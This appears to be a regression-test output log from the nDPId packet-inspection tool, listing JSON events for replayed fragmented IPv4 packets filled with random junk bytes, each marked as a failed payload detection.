+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739789,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3320,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739801,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3321,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739813,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3322,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3323,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739840,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3324,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739852,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3325,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739889,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739901,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739914,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739925,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739938,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739950,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739973,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":739998,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740010,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740022,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740037,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740050,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740063,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740075,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740089,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740101,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740115,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740129,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740141,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740154,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740177,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740224,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740236,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740272,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740287,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740299,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740311,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740324,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":740335,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 